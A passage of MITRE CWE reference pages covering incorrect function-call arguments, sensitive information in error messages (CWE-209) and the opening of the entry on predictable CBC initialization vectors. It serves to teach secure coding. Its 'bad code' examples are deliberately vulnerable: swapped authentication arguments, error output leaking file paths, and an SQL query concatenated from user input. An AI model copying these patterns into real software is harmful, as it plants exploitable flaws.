ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.685Function Call With Incorrect Number of Arguments
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.686Function Call With Incorrect Argument Type
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.687Function Call With Incorrectly Specified Argument Value
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.688Function Call With Incorrect Variable or Reference as Argument
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other
Access Control

Technical Impact: Quality Degradation; Gain Privileges or Assume Identity

This weakness can cause unintended behavior and can lead to additional weaknesses such as allowing an attacker to gain unintended access to system resources.
+ Demonstrative Examples

Example 1

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

(bad code)
Example Language: PHP 
function authenticate($username, $password) {

// authenticate user
...
}

authenticate($_POST['password'], $_POST['username']);

Example 2

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

(bad code)
Example Language: Perl 
sub ReportAuth {
my ($username, $result, $fatal) = @_;
PrintLog("auth: username=%s, result=%d", $username, $result);
if (($result ne "success") && $fatal) {
die "Failed!\n";
}
}

sub PrivilegedFunc
{
my $result = CheckAuth($username);
ReportAuth($username, $result, 0);
DoReallyImportantStuff();
}

Example 3

In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.

(bad code)
Example Language: Java 
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
String[] userRoles = getUserRoles(user);
return accessGranted(resource, ADMIN_ROLES);
}

private boolean void accessGranted(String resource, String[] userRoles) {

// grant or deny access based on user roles
...
}
+ Observed Examples
ReferenceDescription
The method calls the functions with the wrong argument order, which allows remote attackers to bypass intended access restrictions.
+ Potential Mitigations

Phase: Build and Compilation

Once found, these issues are easy to fix. Use code inspection tools and relevant compiler features to identify potential violations. Pay special attention to code that is not likely to be exercised heavily during QA.

Phase: Architecture and Design

Make sure your API's are stable before you use them in production code.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
This is usually primary to other weaknesses, but it can be resultant if the function's API or function prototype changes.
+ Detection Methods

Other

Since these bugs typically introduce incorrect behavior that is obvious to users, they are found quickly, unless they occur in rarely-tested code paths. Managing the correct number of arguments can be made more difficult in cases where format strings are used, or when variable numbers of arguments are supported.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.736CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.737CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1157SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1180SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1181SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingDCL10-CMaintain the contract between the writer and caller of variadic functions
CERT C Secure CodingEXP37-CCWE More AbstractCall functions with the correct number and type of arguments
SEI CERT Perl Coding StandardDCL00-PLCWE More AbstractDo not use subroutine prototypes
SEI CERT Perl Coding StandardEXP33-PLImpreciseDo not invoke a function in a context for which it is not defined
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Detection_Factors, Other_Notes, Weakness_Ordinalities
2010-02-16CWE Content TeamMITRE
updated Detection_Factors
2010-06-21CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Incorrectly Specified Arguments

CWE-209: Generation of Error Message Containing Sensitive Information

Weakness ID: 209
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product generates an error message that includes sensitive information about its environment, users, or associated data.
+ Extended Description

The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more serious attacks. The error message may be created in different ways:

  • self-generated: the source code explicitly constructs the error message and delivers it
  • externally-generated: the external environment, such as a language interpreter, handles the error and constructs its own message, whose contents are not under direct control by the programmer

An attacker may use the contents of error messages to help launch another, more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of ".." sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.210Self-generated Error Message Containing Sensitive Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.211Externally-Generated Error Message Containing Sensitive Information
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.550Server-generated Error Message Containing Sensitive Information
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1295Debug Messages Revealing Unnecessary Information
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.600Uncaught Exception in Servlet
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.756Missing Custom Error Page
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1015Limit Access
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
System Configuration
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

PHP (Often Prevalent)

Java (Often Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

Often this will either reveal sensitive information which may be used for a later attack or private information stored in the server.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In the following example, sensitive information might be printed depending on the exception that occurs.

(bad code)
Example Language: Java 
try {
/.../
}
catch (Exception e) {
System.out.println(e);
}

If an exception related to SQL is handled by the catch, then the output might contain sensitive information such as SQL query structure or private information. If this output is redirected to a web user, this may represent a security problem.

Example 2

This code tries to open a database connection, and prints any exceptions that occur.

(bad code)
Example Language: PHP 
try {
openDbConnection();
}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
echo 'Caught exception: ', $e->getMessage(), '\n';
echo 'Check credentials in config file at: ', $Mysql_config_location, '\n';
}

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

Example 3

The following code generates an error message that leaks the full pathname of the configuration file.

(bad code)
Example Language: Perl 
$ConfigDir = "/home/myprog/config";
$uname = GetUserInput("username");

# avoid CWE-22, CWE-78, others.
ExitError("Bad hacker!") if ($uname !~ /^\w+$/);
$file = "$ConfigDir/$uname.txt";
if (! (-e $file)) {
ExitError("Error: $file does not exist");
}
...

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a $file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.

Example 4

In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

(bad code)
Example Language: Java 
public BankAccount getUserBankAccount(String username, String accountNumber) {
BankAccount userAccount = null;
String query = null;
try {
if (isAuthorizedUser(username)) {
query = "SELECT * FROM accounts WHERE owner = "
+ username + " AND accountID = " + accountNumber;
DatabaseManager dbManager = new DatabaseManager();
Connection conn = dbManager.getConnection();
Statement stmt = conn.createStatement();
ResultSet queryResult = stmt.executeQuery(query);
userAccount = (BankAccount)queryResult.getObject(accountNumber);
}
} catch (SQLException ex) {
String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
}
return userAccount;
}

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

+ Observed Examples
ReferenceDescription
POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness.
Program reveals password in error message if attacker can trigger certain database errors.
Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).
Existence of user names can be determined by requesting a nonexistent blog and reading the error message.
Direct request to library file in web application triggers pathname leak in error message.
Malformed input to login page causes leak of full path when IMAP call fails.
Malformed regexp syntax leads to information exposure in error message.
verbose logging stores admin credentials in a world-readablelog file
SSH password for private key stored in build log
+ Potential Mitigations

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

Phase: Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user.

Phase: Implementation

Strategy: Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness: Defense in Depth

Note: This makes it easier to spot places in the code where data is being used that is unencrypted.

Phases: Implementation; Build and Compilation

Strategy: Compilation or Build Hardening

Debugging information should not make its way into a production release.

Phases: Implementation; Build and Compilation

Strategy: Environment Hardening

Debugging information should not make its way into a production release.

Phase: System Configuration

Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the display_errors setting during configuration, or at runtime using the error_reporting() function.

Phase: System Configuration

Create default error pages or messages that do not leak any information.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Manual Analysis

This weakness generally requires domain-specific interpretation using manual analysis. However, the number of potential error conditions may be too large to cover completely within limited time constraints.

Effectiveness: High

Automated Analysis

Automated methods may be able to detect certain idioms automatically, such as exposed stack traces or pathnames, but violation of business rules or privacy requirements is not typically feasible.

Effectiveness: Moderate

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Error conditions may be triggered with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Effectiveness: Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.717OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.728OWASP Top Ten 2004 Category A7 - Improper Error Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.815OWASP Top Ten 2010 Category A6 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8672011 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.880CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.933OWASP Top Ten 2013 Category A5 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1032OWASP Top Ten 2017 Category A6 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPAccidental leaking of sensitive information through error messages
OWASP Top Ten 2007A6CWE More SpecificInformation Leakage and Improper Error Handling
OWASP Top Ten 2004A7CWE More SpecificImproper Error Handling
OWASP Top Ten 2004A10CWE More SpecificInsecure Configuration Management
The CERT Oracle Secure Coding Standard for Java (2011)ERR01-JDo not allow exceptions to expose sensitive information
Software Fault PatternsSFP23Exposed Data
+ References
[REF-174] Web Application Security Consortium. "Information Leakage". <http://projects.webappsec.org/w/page/13246936/Information%20Leakage>. URL validated: 2023-04-07.
[REF-175] Brian Chess and Jacob West. "Secure Programming with Static Analysis". Section 9.2, Page 326. Addison-Wesley. 2007.
[REF-176] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 16, "General Good Practices." Page 415. 1st Edition. Microsoft Press. 2001-11-13.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 12: Information Leakage." Page 191. McGraw-Hill. 2010.
[REF-179] Johannes Ullrich. "Top 25 Series - Rank 16 - Information Exposure Through an Error Message". SANS Software Security Institute. 2010-03-17. <http://software-security.sans.org/blog/2010/03/17/top-25-series-rank-16-information-exposure-through-an-error-message>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Overly Verbose Error Messages", Page 75. 1st Edition. Addison Wesley. 2006.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution DateContributorOrganization
2022-07-11Nick Johnston
Identified incorrect language tag in demonstrative example.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2009-01-12CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Time_of_Introduction
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, Relationships
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Name, Potential_Mitigations, References, Time_of_Introduction
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References
2010-09-09Veracode
Suggested OWASP Top Ten mapping
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Relationships
2011-06-01CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships
2013-07-17CWE Content TeamMITRE
updated References
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Description, Name, Observed_Examples, References, Relationships, Weakness_Ordinalities
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Error Message Information Leaks
2009-12-28Error Message Information Leak
2020-02-24Information Exposure Through an Error Message

CWE-329: Generation of Predictable IV with CBC Mode

Weakness ID: 329
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product generates and uses a predictable initialization Vector (IV) with Cipher Block Chaining (CBC) Mode, which causes algorithms to be susceptible to dictionary attacks when they are encrypted under the same key.
+ Extended Description

CBC mode eliminates a weakness of Electronic Code Book (ECB) mode by allowing identical plaintext blocks to be encrypted to different ciphertext blocks. This is possible by the XOR-ing of an IV with the initial plaintext block so that every plaintext block in the chain is XOR'd with a different value before encryption. If IVs are reused, then identical plaintexts would be encrypted to identical ciphertexts. However, even if IVs are not identical but are predictable, then they still break the security of CBC mode against Chosen Plaintext Attacks (CPA).

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1204Generation of Weak Initialization Vector (IV)
+ Background Details

CBC mode is a commonly used mode of operation for a block cipher. It works by XOR-ing an IV with the initial block of a plaintext prior to encryption and then XOR-ing each successive block of plaintext with the previous block of ciphertext before encryption.

C_0 = IV
C_i = E_k{M_i XOR C_{i-1}}

When used properly, CBC mode provides security against chosen plaintext attacks. Having an unpredictable IV is a crucial underpinning of this. See [REF-1171].

+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
